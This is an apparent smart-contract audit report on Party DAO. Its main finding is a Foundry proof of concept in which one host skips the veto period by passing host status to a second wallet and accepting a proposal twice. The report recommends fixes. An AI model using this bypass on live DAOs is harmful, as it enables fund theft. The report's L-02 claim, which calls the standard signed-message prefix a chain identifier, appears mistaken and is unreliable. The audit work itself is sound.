Party DAO - Madalad's results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L457

Vulnerability details

Impact

After a proposal passes the vote threshold, there is a delay before it can be executed so that hosts get a chance to veto it if they wish. If all hosts voting in favour of the proposal, then this veto period is skipped.

However, a single host can ensure the veto period is skipped even if no other hosts accept the proposal. The veto period is in place to prevent harmful/exploitative proposals from being executed, even if they are passed, and therefore a malicious/compromised host being able to skip the veto period can be seriously harmful to the protocol and its users. The Tornado Cash governance hack from May 2023 is a relevant example, during which the attacker was able to steal around $1 million worth of assets.

This attack has a very low cost and a very high potential impact. If a malicious proposal is crafted in the same way used by the Tornado Cash attacker using hidden CREATE2 and SELFDESTRUCT operations, then it is entirely feasible that it would meet the voting threshold as many voters may not be savvy enough to spot the red flags.

Proof of Concept

PartyGovernance#abdicateHost is a function that allows a host to renounce their host privileges, and transfer them to another address.

File: contracts\party\PartyGovernance.sol

457:     /// @notice Transfer party host status to another.
458:     /// @param newPartyHost The address of the new host.
459:     function abdicateHost(address newPartyHost) external {
460:         _assertHost();
461:         // 0 is a special case burn address.
462:         if (newPartyHost != address(0)) {
463:             // Cannot transfer host status to an existing host.
464:             if (isHost[newPartyHost]) {
465:                 revert InvalidNewHostError();
466:             }
467:             isHost[newPartyHost] = true;
468:         } else {
469:             // Burned the host status
470:             --numHosts;
471:         }
472:         isHost[msg.sender] = false;
473:         emit HostStatusTransferred(msg.sender, newPartyHost);
474:     }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L457

This can be done at any stage in the life cycle of a proposal. This means that a host can accept a proposal, incrementing the numHostsAccepted value for that proposal, then transfer the host status to another wallet that they control (that has non-zero voting power) and accept again, incrementing numHostsAccepted for a second time. This process can be repeated as many times as necessary until numHostsAccepted is equal to the total number of hosts numHosts. Once the proposal reaches the required vote threshold, the veto period will be skipped, despite only one host accepting.

The following foundry test shows the process described above. Copy and paste it into PartyGovernanceTest.t.sol to run.

    function test_maliciousHost() public {
        // Create users
        PartyParticipant alice = new PartyParticipant();
        PartyParticipant bob = new PartyParticipant();
        PartyParticipant chad = new PartyParticipant();
        PartyParticipant aliceAltWallet = new PartyParticipant();

        // Create party
        uint16 passThresholdBps = 5100;
        (
            Party party,
            IERC721[] memory preciousTokens,
            uint256[] memory preciousTokenIds
        ) = partyAdmin.createParty(
                partyImpl,
                PartyAdmin.PartyCreationMinimalOptions({
                    host1: address(alice),
                    host2: address(bob),
                    passThresholdBps: passThresholdBps,
                    totalVotingPower: 151,
                    preciousTokenAddress: address(toadz),
                    preciousTokenId: 1,
                    rageQuitTimestamp: 0,
                    feeBps: 0,
                    feeRecipient: payable(0)
                })
            );

        // alice and bob are the only two hosts
        assert(party.isHost(address(alice)));
        assert(party.isHost(address(bob)));
        assert(!party.isHost(address(chad)));
        assert(!party.isHost(address(aliceAltWallet)));

        // mint governance NFTs
        partyAdmin.mintGovNft(party, address(alice), 50, address(alice));
        partyAdmin.mintGovNft(party, address(bob), 50, address(bob));
        partyAdmin.mintGovNft(party, address(chad), 50, address(chad));
        partyAdmin.mintGovNft(party, address(aliceAltWallet), 1, address(aliceAltWallet));

        // alice proposes a proposal
        PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({
            maxExecutableTime: 9999999999,
            proposalData: abi.encodePacked([0]),
            cancelDelay: uint40(1 days)
        });
        vm.roll(block.number + 1);
        uint256 proposalId = alice.makeProposal(party, p1, 0);
        
        // chad accepts, but bob (the other host) does not
        vm.roll(block.number + 1);
        chad.vote(party, proposalId, 0);

        // proposal meets vote threshold, but not all hosts have accepted
        vm.roll(block.number + 1);
        (
            PartyGovernance.ProposalStatus status,
            PartyGovernance.ProposalStateValues memory values
        ) = party.getProposalStateInfo(proposalId);
        assertEq(values.numHosts, 2);
        assertEq(values.numHostsAccepted, 1);
        assertEq(uint(status), uint(PartyGovernance.ProposalStatus.Passed)); // not Ready => veto period has not been skipped

        // alice transfers host status to her other wallet address
        vm.prank(address(alice));
        vm.roll(block.number + 1);
        party.abdicateHost(address(aliceAltWallet));

        // alice accepts using her other wallet
        vm.roll(block.number + 1);
        aliceAltWallet.vote(party, proposalId, 0);

        // veto is now skipped even though a host (bob) did not accept
        vm.roll(block.number + 1);
        (status, values) = party.getProposalStateInfo(proposalId);
        assertEq(values.numHosts, 2);
        assertEq(values.numHostsAccepted, 2);
        assertEq(uint(status), uint(PartyGovernance.ProposalStatus.Ready)); // Ready for execution => veto period has now been skipped
    }

Recommended Mitigation Steps

Utilise snapshots for hosts in a similar way to how votingPower is currently handled, so that accept only increments numHostsAccepted if the caller was a host at proposedTime - 1. This can be achieved under the current architecture in the following way:

• add a new bool member to the VotingPowerSnapshot struct named isHost
• make abdicateHost save new snapshots to the _votingPowerSnapshotsByVoter mapping with the updated isHost values for the old and new hosts
• replace the isHost[msg.sender] check in accept with a snapshot check, similar to how getVotingPowerAt is currently used

Assessed type

Governance

The protocol includes two primary trusted roles, each with unique capabilities and responsibilities:
Hosts: A role in the Party for trusted addresses that grants the ability to unilaterally veto proposals in the Party and configure Rage Quit. Each Host may or may not be a member (i.e. have non-zero voting power in the Party).

Low Severity

[L-01] Take steps to prevent against metamorphic contract attack

In May 2023, Tornado Cash experienced an exploit to their governance contract during which the attacker made use of CREATE, CREATE2 and SELFDESTRUCT to drain a large amount of funds. All governance contracts, including Party, are susceptible to such an attack. Strongly consider using off-chain monitoring to detect proposals that call suspicious contracts using the above opcodes, utilising the veto function as required.

References:

• Tornado Cash governance hack - Medium
• tornado-cash-exploit PoC from pcaversaccio.

[L-02] Harcoded chain identifier may lead to cross chain replay attacks

In OffChainSignatureValidator#isValidSignature, the chain identifier (used to prevent cross chain replay attacks) is hardcoded as a string. This means that it will remain the same, even if the contract is deployed to a different chain or the initial chain undergoes a hard fork.

Replace the hardcoded value with a value involving block.chainid to fully protect against cross chain replay attacks.

File: contracts\signature-validators\OffChainSignatureValidator.sol

48:         bytes memory encodedPacket = abi.encodePacked(
49:             "\x19Ethereum Signed Message:\n", // @audit should not be hardcoded
50:             Strings.toString(message.length),
51:             message
52:         );
53:         if (keccak256(encodedPacket) != hash) {
54:             revert MessageHashMismatch();
55:         }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/signature-validators/OffChainSignatureValidator.sol#L49

[L-03] It should not be possible to decrease totalVotingPower below mintedVotingPower

In the PartyGovernanceNFT contract, increaseVotingPower prevents the caller from increasing the voting power for a tokenId if it would lead to mintedVotingPower exceeding totalVotingPower. Similar protection is missing from the decreaseVotingPower function, which could lead to unexpected behaviour, such as miscalculations in _areVotesPassing causing proposals to pass despite having less support than ought to be required.

Add the following check to make decreaseTotalVotingPower revert if it is decreased below mintedVotingPower.

File: contracts\party\PartyGovernanceNFT.sol

    function decreaseTotalVotingPower(uint96 votingPower) external {
        _assertAuthority();
+       require(_getSharedProposalStorage().governanceValues.totalVotingPower - votingPower >= mintedVotingPower, "minted > total");
        _getSharedProposalStorage().governanceValues.totalVotingPower -= votingPower;
    }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L255-L258

[L-04] Minting a PartyGovernanceNFT that has zero votingPower should be prevented

This can occur in two ways; if the votingPower argument is passed as 0 to the mint function, or if mint is called while mintedVotingPower is equal to totalVotingPower. Party tokens are used only to vote on proposals and receive funds through distribution or rageQuit, both of which depend on a non-zero voting power. Therefore, a token with zero voting power serves no purpose and this possibility should be explicitly prevented.

Note: I submitted a medium finding titled "Authority can DoS voting by abusing rageQuit" in which the minting of NFTs with zero voting power enables a DoS attack. Making this change provides protection against that and any other yet to be known issues in this version or future versions of the protocol.

File: contracts\party\PartyGovernanceNFT.sol

    function mint(
        address owner,
        uint256 votingPower,
        address delegate
    ) external returns (uint256 tokenId) {
        _assertAuthority();
        uint96 mintedVotingPower_ = mintedVotingPower;
        uint96 totalVotingPower = _getSharedProposalStorage().governanceValues.totalVotingPower;

        // Cap voting power to remaining unminted voting power supply.
        uint96 votingPower_ = votingPower.safeCastUint256ToUint96();
        // Allow minting past total voting power if minting party cards for
        // initial crowdfund when there is no total voting power.
        if (totalVotingPower != 0 && totalVotingPower - mintedVotingPower_ < votingPower_) {
            unchecked {
                votingPower_ = totalVotingPower - mintedVotingPower_;
            }
        }

+       if (votingPower_ == 0) revert("votingPower=0");

        // Update state.
        unchecked {
            tokenId = ++tokenCount;
        }
        mintedVotingPower += votingPower_;
        votingPowerByTokenId[tokenId] = votingPower_;

        emit PartyCardIntrinsicVotingPowerSet(tokenId, votingPower_);

        // Use delegate from party over the one set during crowdfund.
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

        _adjustVotingPower(owner, votingPower_.safeCastUint96ToInt192(), delegate);
        _safeMint(owner, tokenId);
    }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L166-L202

[L-05] Contracts deployed on Base mainnet may be non-functional due to incompatible Solidity version

The compiler for Solidity 0.8.20 switches the default target EVM version to Shanghai, which includes the new PUSH0 op code. This op code is not supported on Base, which is built upon Optimism Bedrock (see here). See also this relevant issue on the official Solidity github for reference. This means that deployment to Base will fail with error "invalid opcode: PUSH0", and the protocol will not be able to deploy on Base, contrary to the expectations set out in the README.

To mitigate this issue, use an earlier Solidity version that is compatible with Base, such as 0.8.19.

[L-06] PartyGovernanceNFT#burn can be called after the party has started

NatSpec for both burn functions in PartyGovernanceNFT state that they "can only be called by an authority before the party has started". Authority of the caller is indeed checked by calling _assertAuthority, however no check exists anywhere in the execution path for whether or not the party has started/been initialized. If this behaviour is intended, then update the NatSpec accordingly. Otherwise, make the functions revert if the party has started (totalVotingPower != 0).

File: contracts\party\PartyGovernanceNFT.sol

260:     /// @notice Burn governance NFTs and remove their voting power. Can only
261:     ///         be called by an authority before the party has started.
262:     /// @param tokenIds The IDs of the governance NFTs to burn.
263:     function burn(uint256[] memory tokenIds) public {

307:     /// @notice Burn governance NFT and remove its voting power. Can only be
308:     ///         called by an authority before the party has started.
309:     /// @param tokenId The ID of the governance NFTs to burn.
310:     function burn(uint256 tokenId) external {

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L263 https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L310

[L-07] InitialETHCrowdfund deployer is not credited for pre-existing ETH

In InitialETHCrowdfund#initialize, comments explain that if there is any ETH passed with the call, or any pre-existing ETH at the address, it should be credited to the deployer. However, in the case where msg.value is 0 but there is pre-existing ETH at the contract address, the deployer is not credited. This is because the if statement checks msg.value instead of address(this).balance.

Make the following changes to achieve the desired behaviour:

        // If the deployer passed in some ETH during deployment, credit them
        // for the initial contribution.
        uint96 initialContribution = msg.value.safeCastUint256ToUint96();
-       if (initialContribution > 0) {
+       if (address(this).balance > 0) {
            // If this contract has ETH, either passed in during deployment or
            // pre-existing, credit it to the `initialContributor`.
            _contribute(
                crowdfundOpts.initialContributor,
                crowdfundOpts.initialDelegate,
-               initialContribution,
+               address(this).balance,
                0,
                ""
            );
        }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/crowdfund/InitialETHCrowdfund.sol#L141

[L-08] Authorities should be able to be removed in PartyGovernanceNFT

In PartyGovernanceNFT, authorities can be added after initialization through addAuthority, however there is no mechanism to revoke authority from a user unless that user does so willingly. In the event of a compromised/malicious authority, all of the funds in the party would be at an immediate risk, as authorities may call rageQuit to burn the tokens of other users and receive their share of the funds in the contract.

Consider implementing a removeAuthority function, ensuring it has the onlySelf modifier so that only the party itself can remove authorities. For further protection, add a call to _assertNotGloballyDisabled within rageQuit and burn so that the system can be paused if an authority attempts to drain the funds of the contract, and the dev team and governance can react before funds are stolen.

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernanceNFT.sol

[L-09] ETH may become trapped after calling emergencyExecute

emergencyExecute functions in both PartyGovernance and ETHCrowdfundBase contracts do not perform any checks on the amount of ether that is forwarded with the call. This means that msg.value may exceed the amountEth argument, leaving the remainder trapped in the contract.

Consider adding a check on msg.value somewhere in the function.

File: contracts/party/PartyGovernance.sol

    function emergencyExecute(
        address targetAddress,
        bytes calldata targetCallData,
        uint256 amountEth
    ) external payable onlyPartyDao onlyWhenEmergencyExecuteAllowed onlyDelegateCall {
+       require(msg.value == amountEth, "invalid amountEth value");
        (bool success, bytes memory res) = targetAddress.call{ value: amountEth }(targetCallData);
        if (!success) {
            res.rawRevert();
        }
        emit EmergencyExecute(targetAddress, targetCallData, amountEth);
    }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L841

Non-critical Severity

[N-01] ETHCrowfundBase#_initialize does not set up the gatekeeper, despite comment claiming it does

The comment above the functions claims that the gatekeeper is setup, despite this not being the case. The parameters opts.gateKeeper and opts.gateKeeperId are present but unused. This can cause confusion for users and potentially lead to mistakes from future developers. Alter the comment or add to the function to resolve the discrepency.

File: contracts\crowdfund\ETHCrowdfundBase.sol

138:     // Initialize storage for proxy contracts, credit initial contribution (if
139:     // any), and setup gatekeeper.
140:     function _initialize(ETHCrowdfundOptions memory opts) internal {

https://github.com/code-423n4/2023-10-party/blob/main/contracts/crowdfund/ETHCrowdfundBase.sol#L138-L140

[N-02] Typo in mapping name

In OffChainSignatureValidator, a mapping is named signingThersholdBps which is a typo of signingThresholdBps. The automated report from the bot race detected some typos but missed this instance.

File: contracts\signature-validators\OffChainSignatureValidator.sol

22:     mapping(Party party => uint96 thresholdBps) public signingThersholdBps;

68:         uint96 thresholdBps = signingThersholdBps[party];

86:         emit SigningThresholdBpsSet(party, signingThersholdBps[party], thresholdBps);
87:         signingThersholdBps[party] = thresholdBps;

https://github.com/code-423n4/2023-10-party/blob/main/contracts/signature-validators/OffChainSignatureValidator.sol#L22